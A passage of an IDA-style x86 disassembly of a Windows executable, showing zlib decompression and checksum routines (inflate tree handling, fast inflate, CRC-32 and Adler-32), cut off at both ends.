[ebp+arg_10] push edx mov eax, [ebp+arg_18] push eax push offset dword_41462C push offset dword_4145B4 push 0 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_8] lea ecx, [eax+edx*4] push ecx call sub_40C330 add esp, 28h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CDB6 mov edx, [ebp+arg_10] cmp dword ptr [edx], 0 jnz short loc_40CE11 cmp [ebp+arg_0], 101h jbe short loc_40CE11 loc_40CDB6: ; CODE XREF: sub_40CCA6+FDj cmp [ebp+var_4], 0FFFFFFFDh jnz short loc_40CDC8 mov eax, [ebp+arg_20] mov dword ptr [eax+18h], offset aOversubscrib_1 ; "oversubscribed distance tree" jmp short loc_40CDF8 ; --------------------------------------------------------------------------- loc_40CDC8: ; CODE XREF: sub_40CCA6+114j cmp [ebp+var_4], 0FFFFFFFBh jnz short loc_40CDE1 mov ecx, [ebp+arg_20] mov dword ptr [ecx+18h], offset aIncompleteDist ; "incomplete distance tree" mov [ebp+var_4], 0FFFFFFFDh jmp short loc_40CDF8 ; --------------------------------------------------------------------------- loc_40CDE1: ; CODE XREF: sub_40CCA6+126j cmp [ebp+var_4], 0FFFFFFFCh jz short loc_40CDF8 mov edx, [ebp+arg_20] mov dword ptr [edx+18h], offset aEmptyDistanceT ; "empty distance tree with lengths" mov [ebp+var_4], 0FFFFFFFDh loc_40CDF8: ; CODE XREF: sub_40CCA6+120j ; sub_40CCA6+139j ... mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_20] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_20] call dword ptr [eax+24h] add esp, 8 mov eax, [ebp+var_4] jmp short loc_40CE27 ; --------------------------------------------------------------------------- loc_40CE11: ; CODE XREF: sub_40CCA6+105j ; sub_40CCA6+10Ej mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_20] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_20] call dword ptr [ecx+24h] add esp, 8 xor eax, eax loc_40CE27: ; CODE XREF: sub_40CCA6+32j ; sub_40CCA6+BBj ... mov esp, ebp pop ebp retn sub_40CCA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE2B proc near ; CODE XREF: sub_40AF6D+1A8p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 9 mov ecx, [ebp+arg_4] mov dword ptr [ecx], 5 mov edx, [ebp+arg_8] mov dword ptr [edx], offset dword_413340 mov eax, [ebp+arg_C] mov dword ptr [eax], offset dword_414340 xor eax, eax pop ebp retn sub_40CE2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE56 proc near ; CODE XREF: sub_40A04E+106p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_14] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_14] mov eax, [edx+4] mov [ebp+var_34], eax mov ecx, [ebp+arg_10] mov edx, [ecx+20h] mov [ebp+var_10], edx mov eax, [ebp+arg_10] mov ecx, [eax+1Ch] mov [ebp+var_28], ecx mov edx, [ebp+arg_10] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_40CEA4 mov eax, [ebp+arg_10] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_38], ecx jmp short loc_40CEB0 ; --------------------------------------------------------------------------- loc_40CEA4: ; CODE XREF: sub_40CE56+3Bj mov edx, [ebp+arg_10] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_38], eax loc_40CEB0: ; CODE XREF: sub_40CE56+4Cj mov ecx, [ebp+var_38] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, dword_4132F8[edx*4] mov [ebp+var_24], eax mov ecx, [ebp+arg_4] mov edx, dword_4132F8[ecx*4] mov [ebp+var_30], edx loc_40CED0: ; CODE XREF: sub_40CE56+AFj ; sub_40CE56+639j cmp [ebp+var_28], 14h jnb short loc_40CF07 mov eax, [ebp+var_34] sub eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_28] shl edx, cl mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_28] add edx, 8 mov [ebp+var_28], edx jmp short loc_40CED0 ; --------------------------------------------------------------------------- loc_40CF07: ; CODE XREF: sub_40CE56+7Ej mov eax, [ebp+var_10] and eax, [ebp+var_24] mov ecx, [ebp+arg_8] lea edx, [ecx+eax*8] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx cmp [ebp+var_20], 0 jnz short loc_40CF6A mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_1C] mov dl, [ecx+4] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx jmp loc_40D482 ; --------------------------------------------------------------------------- loc_40CF6A: ; CODE XREF: sub_40CE56+CEj ; sub_40CE56:loc_40D47Dj mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_20] and eax, 10h test eax, eax jz loc_40D2A9 mov ecx, [ebp+var_20] and ecx, 0Fh mov [ebp+var_20], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_10] and eax, dword_4132F8[edx*4] mov ecx, [ebp+var_1C] mov edx, [ecx+4] add edx, eax mov [ebp+var_14], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_20] shr eax, cl mov [ebp+var_10], eax mov ecx, [ebp+var_28] sub ecx, [ebp+var_20] mov [ebp+var_28], ecx loc_40CFCF: ; CODE XREF: sub_40CE56+1B0j cmp [ebp+var_28], 0Fh jnb short loc_40D008 mov edx, [ebp+var_34] sub edx, 1 mov [ebp+var_34], edx mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_28] shl edx, cl mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_28] add edx, 8 mov [ebp+var_28], edx jmp short loc_40CFCF ; --------------------------------------------------------------------------- loc_40D008: ; CODE XREF: sub_40CE56+17Dj mov eax, [ebp+var_10] and eax, [ebp+var_30] mov ecx, [ebp+arg_C] lea edx, [ecx+eax*8] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx loc_40D021: ; CODE XREF: sub_40CE56:loc_40D29Fj mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_20] and eax, 10h test eax, eax jz loc_40D1BD mov ecx, [ebp+var_20] and ecx, 0Fh mov [ebp+var_20], ecx loc_40D05A: ; CODE XREF: sub_40CE56+23Bj mov edx, [ebp+var_28] cmp edx, [ebp+var_20] jnb short loc_40D093 mov eax, [ebp+var_34] sub eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_28] shl edx, cl mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_28] add edx, 8 mov [ebp+var_28], edx jmp short loc_40D05A ; --------------------------------------------------------------------------- loc_40D093: ; CODE XREF: sub_40CE56+20Aj mov eax, [ebp+var_20] mov ecx, [ebp+var_10] and ecx, dword_4132F8[eax*4] mov edx, [ebp+var_1C] mov eax, [edx+4] add eax, ecx mov [ebp+var_18], eax mov edx, [ebp+var_10] mov ecx, [ebp+var_20] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_28] sub eax, [ebp+var_20] mov [ebp+var_28], eax mov ecx, [ebp+var_2C] sub ecx, [ebp+var_14] mov [ebp+var_2C], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_8] sub eax, [edx+28h] cmp eax, [ebp+var_18] jb short loc_40D12B mov ecx, [ebp+var_8] sub ecx, [ebp+var_18] mov [ebp+var_C], ecx mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx jmp short loc_40D18D ; --------------------------------------------------------------------------- loc_40D12B: ; CODE XREF: sub_40CE56+27Ej mov edx, [ebp+arg_10] mov eax, [ebp+var_8] sub eax, [edx+28h] mov ecx, [ebp+var_18] sub ecx, eax mov [ebp+var_20], ecx mov edx, [ebp+arg_10] mov eax, [edx+2Ch] sub eax, [ebp+var_20] mov [ebp+var_C], eax mov ecx, [ebp+var_14] cmp ecx, [ebp+var_20] jbe short loc_40D18D mov edx, [ebp+var_14] sub edx, [ebp+var_20] mov [ebp+var_14], edx loc_40D159: ; CODE XREF: sub_40CE56+32Cj mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx cmp [ebp+var_20], 0 jnz short loc_40D159 mov eax, [ebp+arg_10] mov ecx, [eax+28h] mov [ebp+var_C], ecx loc_40D18D: ; CODE XREF: sub_40CE56+2D3j ; sub_40CE56+2F8j ... mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 0 jnz short loc_40D18D jmp loc_40D2A4 ; --------------------------------------------------------------------------- loc_40D1BD: ; CODE XREF: sub_40CE56+1F5j mov edx, [ebp+var_20] and edx, 40h test edx, edx jnz short loc_40D1FB mov eax, [ebp+var_1C] mov ecx, [eax+4] mov edx, [ebp+var_1C] lea eax, [edx+ecx*8] mov [ebp+var_1C], eax mov ecx, [ebp+var_20] mov edx, [ebp+var_10] and edx, dword_4132F8[ecx*4] mov eax, [ebp+var_1C] lea ecx, [eax+edx*8] mov [ebp+var_1C], ecx mov edx, [ebp+var_1C] xor eax, eax mov al, [edx] mov [ebp+var_20], eax jmp loc_40D29F ; --------------------------------------------------------------------------- loc_40D1FB: ; CODE XREF: sub_40CE56+36Fj mov ecx, [ebp+arg_14] mov dword ptr [ecx+18h], offset aInvalidDista_0 ; "invalid distance code" mov edx, [ebp+arg_14] mov eax, [edx+4] sub eax, [ebp+var_34] mov [ebp+var_14], eax mov ecx, [ebp+var_28] shr ecx, 3 cmp ecx, [ebp+var_14] jnb short loc_40D227 mov edx, [ebp+var_28] shr edx, 3 mov [ebp+var_3C], edx jmp short loc_40D22D ; --------------------------------------------------------------------------- loc_40D227: ; CODE XREF: sub_40CE56+3C4j mov eax, [ebp+var_14] mov [ebp+var_3C], eax loc_40D22D: ; CODE XREF: sub_40CE56+3CFj mov ecx, [ebp+var_3C] mov [ebp+var_14], ecx mov edx, [ebp+var_34] add edx, [ebp+var_14] mov [ebp+var_34], edx mov eax, [ebp+var_4] sub eax, [ebp+var_14] mov [ebp+var_4], eax mov ecx, [ebp+var_14] shl ecx, 3 mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_10] mov [eax+20h], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_28] mov [edx+1Ch], eax mov ecx, [ebp+arg_14] mov edx, [ebp+var_34] mov [ecx+4], edx mov eax, [ebp+arg_14] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_14] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_14] mov [ecx+8], eax mov edx, [ebp+arg_14] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, 0FFFFFFFDh jmp loc_40D527 ; --------------------------------------------------------------------------- loc_40D29F: ; CODE XREF: sub_40CE56+3A0j jmp loc_40D021 ; --------------------------------------------------------------------------- loc_40D2A4: ; CODE XREF: sub_40CE56+362j jmp loc_40D482 ; --------------------------------------------------------------------------- loc_40D2A9: ; CODE XREF: sub_40CE56+13Ej mov eax, [ebp+var_20] and eax, 40h test eax, eax jnz short loc_40D331 mov ecx, [ebp+var_1C] mov edx, [ecx+4] mov eax, [ebp+var_1C] lea ecx, [eax+edx*8] mov [ebp+var_1C], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_10] and eax, dword_4132F8[edx*4] mov ecx, [ebp+var_1C] lea edx, [ecx+eax*8] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx cmp [ebp+var_20], 0 jnz short loc_40D32C mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_10] shr edx, cl mov [ebp+var_10], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_1C] mov dl, [ecx+4] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx jmp loc_40D482 ; --------------------------------------------------------------------------- loc_40D32C: ; CODE XREF: sub_40CE56+490j jmp loc_40D47D ; --------------------------------------------------------------------------- loc_40D331: ; CODE XREF: sub_40CE56+45Bj mov edx, [ebp+var_20] and edx, 20h test edx, edx jz loc_40D3D9 mov eax, [ebp+arg_14] mov ecx, [eax+4] sub ecx, [ebp+var_34] mov [ebp+var_14], ecx mov edx, [ebp+var_28] shr edx, 3 cmp edx, [ebp+var_14] jnb short loc_40D361 mov eax, [ebp+var_28] shr eax, 3 mov [ebp+var_40], eax jmp short loc_40D367 ; --------------------------------------------------------------------------- loc_40D361: ; CODE XREF: sub_40CE56+4FEj mov ecx, [ebp+var_14] mov [ebp+var_40], ecx loc_40D367: ; CODE XREF: sub_40CE56+509j mov edx, [ebp+var_40] mov [ebp+var_14], edx mov eax, [ebp+var_34] add eax, [ebp+var_14] mov [ebp+var_34], eax mov ecx, [ebp+var_4] sub ecx, [ebp+var_14] mov [ebp+var_4], ecx mov edx, [ebp+var_14] shl edx, 3 mov eax, [ebp+var_28] sub eax, edx mov [ebp+var_28], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_10] mov [ecx+20h], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_28] mov [eax+1Ch], ecx mov edx, [ebp+arg_14] mov eax, [ebp+var_34] mov [edx+4], eax mov ecx, [ebp+arg_14] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_14] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_14] mov [edx+8], ecx mov eax, [ebp+arg_14] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_8] mov [edx+34h], eax mov eax, 1 jmp loc_40D527 ; --------------------------------------------------------------------------- loc_40D3D9: ; CODE XREF: sub_40CE56+4E3j mov ecx, [ebp+arg_14] mov dword ptr [ecx+18h], offset aInvalidLiter_0 ; "invalid literal/length code" mov edx, [ebp+arg_14] mov eax, [edx+4] sub eax, [ebp+var_34] mov [ebp+var_14], eax mov ecx, [ebp+var_28] shr ecx, 3 cmp ecx, [ebp+var_14] jnb short loc_40D405 mov edx, [ebp+var_28] shr edx, 3 mov [ebp+var_44], edx jmp short loc_40D40B ; --------------------------------------------------------------------------- loc_40D405: ; CODE XREF: sub_40CE56+5A2j mov eax, [ebp+var_14] mov [ebp+var_44], eax loc_40D40B: ; CODE XREF: sub_40CE56+5ADj mov ecx, [ebp+var_44] mov [ebp+var_14], ecx mov edx, [ebp+var_34] add edx, [ebp+var_14] mov [ebp+var_34], edx mov eax, [ebp+var_4] sub eax, [ebp+var_14] mov [ebp+var_4], eax mov ecx, [ebp+var_14] shl ecx, 3 mov edx, [ebp+var_28] sub edx, ecx mov [ebp+var_28], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_10] mov [eax+20h], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_28] mov [edx+1Ch], eax mov ecx, [ebp+arg_14] mov edx, [ebp+var_34] mov [ecx+4], edx mov eax, [ebp+arg_14] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_14] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_14] mov [ecx+8], eax mov edx, [ebp+arg_14] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, 0FFFFFFFDh jmp loc_40D527 ; --------------------------------------------------------------------------- loc_40D47D: ; CODE XREF: sub_40CE56:loc_40D32Cj jmp loc_40CF6A ; --------------------------------------------------------------------------- loc_40D482: ; CODE XREF: sub_40CE56+10Fj ; sub_40CE56:loc_40D2A4j ... cmp [ebp+var_2C], 102h jb short loc_40D495 cmp [ebp+var_34], 0Ah jnb loc_40CED0 loc_40D495: ; CODE XREF: sub_40CE56+633j mov eax, [ebp+arg_14] mov ecx, [eax+4] sub ecx, [ebp+var_34] mov [ebp+var_14], ecx mov edx, [ebp+var_28] shr edx, 3 cmp edx, [ebp+var_14] jnb short loc_40D4B7 mov eax, [ebp+var_28] shr eax, 3 mov [ebp+var_48], eax jmp short loc_40D4BD ; --------------------------------------------------------------------------- loc_40D4B7: ; CODE XREF: sub_40CE56+654j mov ecx, [ebp+var_14] mov [ebp+var_48], ecx loc_40D4BD: ; CODE XREF: sub_40CE56+65Fj mov edx, [ebp+var_48] mov [ebp+var_14], edx mov eax, [ebp+var_34] add eax, [ebp+var_14] mov [ebp+var_34], eax mov ecx, [ebp+var_4] sub ecx, [ebp+var_14] mov [ebp+var_4], ecx mov edx, [ebp+var_14] shl edx, 3 mov eax, [ebp+var_28] sub eax, edx mov [ebp+var_28], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_10] mov [ecx+20h], edx mov eax, [ebp+arg_10] mov ecx, [ebp+var_28] mov [eax+1Ch], ecx mov edx, [ebp+arg_14] mov eax, [ebp+var_34] mov [edx+4], eax mov ecx, [ebp+arg_14] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_14] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_14] mov [edx+8], ecx mov eax, [ebp+arg_14] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_8] mov [edx+34h], eax xor eax, eax loc_40D527: ; CODE XREF: sub_40CE56+444j ; sub_40CE56+57Ej ... mov esp, ebp pop ebp retn sub_40CE56 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, offset dword_4146A4 pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D535 proc near ; CODE XREF: sub_40F872+1D4p ; sub_40F872+29Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_40D545 xor eax, eax jmp loc_40D70E ; --------------------------------------------------------------------------- loc_40D545: ; CODE XREF: sub_40D535+7j mov eax, [ebp+arg_0] xor eax, 0FFFFFFFFh mov [ebp+arg_0], eax loc_40D54E: ; CODE XREF: sub_40D535+18Cj cmp [ebp+arg_8], 8 jb loc_40D6C6 mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4146A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4146A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4146A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4146A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4146A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4146A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4146A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4146A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_8] sub ecx, 8 mov [ebp+arg_8], ecx jmp loc_40D54E ; --------------------------------------------------------------------------- loc_40D6C6: ; CODE XREF: sub_40D535+1Dj cmp [ebp+arg_8], 0 jz short loc_40D708 loc_40D6CC: ; CODE XREF: sub_40D535+1D1j mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_0] xor ecx, eax and ecx, 0FFh mov edx, [ebp+arg_0] shr edx, 8 mov eax, dword_4146A4[ecx*4] xor eax, edx mov [ebp+arg_0], eax mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx cmp [ebp+arg_8], 0 jnz short loc_40D6CC loc_40D708: ; CODE XREF: sub_40D535+195j mov eax, [ebp+arg_0] xor eax, 0FFFFFFFFh loc_40D70E: ; CODE XREF: sub_40D535+Bj pop ebp retn sub_40D535 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D710 proc near ; DATA XREF: sub_40DAB5+133o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] and eax, 0FFFFh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] shr ecx, 10h and ecx, 0FFFFh mov [ebp+var_8], ecx cmp [ebp+arg_4], 0 jnz short loc_40D740 mov eax, 1 jmp loc_40D983 ; --------------------------------------------------------------------------- loc_40D740: ; CODE XREF: sub_40D710+24j ; sub_40D710+265j cmp [ebp+arg_8], 0 jbe loc_40D97A cmp [ebp+arg_8], 15B0h jnb short loc_40D75B mov edx, [ebp+arg_8] mov [ebp+var_10], edx jmp short loc_40D762 ; --------------------------------------------------------------------------- loc_40D75B: ; CODE XREF: sub_40D710+41j mov [ebp+var_10], 15B0h loc_40D762: ; CODE XREF: sub_40D710+49j mov eax, [ebp+var_10] mov [ebp+var_C], eax mov ecx, [ebp+arg_8] sub ecx, [ebp+var_C] mov [ebp+arg_8], ecx loc_40D771: ; CODE XREF: sub_40D710+20Cj cmp [ebp+var_C], 10h jl loc_40D921 mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+2] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+3] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+4] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+5] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+6] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+7] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+8] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+9] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+0Ah] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+0Bh] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+0Ch] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+0Dh] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+0Eh] mov eax, 